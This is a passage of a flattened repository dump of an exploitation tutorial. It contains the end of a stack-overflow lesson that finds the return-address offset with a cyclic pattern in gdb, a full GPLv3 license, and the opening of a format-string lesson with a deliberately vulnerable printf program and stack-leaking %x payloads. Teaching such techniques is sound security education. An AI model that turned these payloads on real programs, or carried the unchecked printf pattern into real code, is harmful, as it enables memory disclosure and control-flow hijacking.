aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae 671 | ``` 672 | 673 | Now, take the output and place it in gdb. 674 | ```bash 675 | gef➤ r 676 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow 677 | aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae 678 | 679 | Program received signal SIGSEGV, Segmentation fault. 680 | 0x61716361 in ?? () 681 | ``` 682 | 683 | You got the address `0x61716361`. Next, use it to determine the offset. 684 | ```bash 685 | $ cyclic -l 0x61716361 686 | 262 687 | ``` 688 | 689 | Thus, you determined the offset. 690 | 691 | It has also implementation in python programming as `cyclic(500)` and `cyclic_find(0x61716361)`. 692 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /content/format-string/format-string.md: -------------------------------------------------------------------------------- 1 | # Format string vulnerability 2 | 3 | A format string vulnerability is a vulnerability about using vulnerable functions of the printf family, which don't check the format string itself. With a proper format specifier, you can view arbitrary data within the program, overwrite it and even control the flow of the program. 4 | 5 | ## View vulnerability 6 | 7 | Consider this program: 8 | ```C 9 | #include 10 | #include 11 | 12 | // gcc format-string.c -o format-string -m32 13 | 14 | int main(int argc, char *argv[]){ 15 | char buff[200]; 16 | strncpy(buff, argv[1], 200); 17 | printf(buff); 18 | return 0; 19 | } 20 | ``` 21 | 22 | Input usual string: 23 | ```bash 24 | $ ./format-string "My String" 25 | My String 26 | ``` 27 | 28 | Input string with format specifier `x`, which will show you hex: 29 | ```bash 30 | $ ./format-string AAAA%x 31 | AAAAfff932ef 32 | ``` 33 | 34 | You'll get some strange input... 35 | 36 | Try another one: 37 | ```bash 38 | $ ./format-string AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 39 | AAAAffd972d4.c8.5665522b.0.0.0.ffd96424.0.41414141.252e7825 40 | ``` 41 | 42 | In this case, you got another artifact. Dots here is to simplify the view. 43 | 44 | So, the artifact 41414141 is our string that we input at the beginning of the string. And this all is a stack. The program itself gives us the content of the stack. 45 | 46 | ```bash 47 | $ ./format-string AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 48 | AAAAffe442cb.c8.565d922b.0.0.0.ffe43aa4.0.41414141.252e7825.78252e78.2e78252e.252e7825 49 | ``` 50 | 51 | The next stuff is a continuation of our string. 52 | 53 | ### What can we do with it? 54 | 55 | We can specify at the beginning of our string some address. 56 | 57 | ```bash 58 | $ ./format-string $(python -c 'print "\xef\xbe\xad\xde" + "%x." * 100') 59 | ᆳ�ffbb11c5.c8.565ad22b.0.0.0.ffbb0d04.0.deadbeef.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.5d688c00.ffbb0c70.0.0.f7dcdee5.f7f9a000.f7f9a000. 60 | ``` 61 | 62 | You see the value `0xdeadbeef` in the 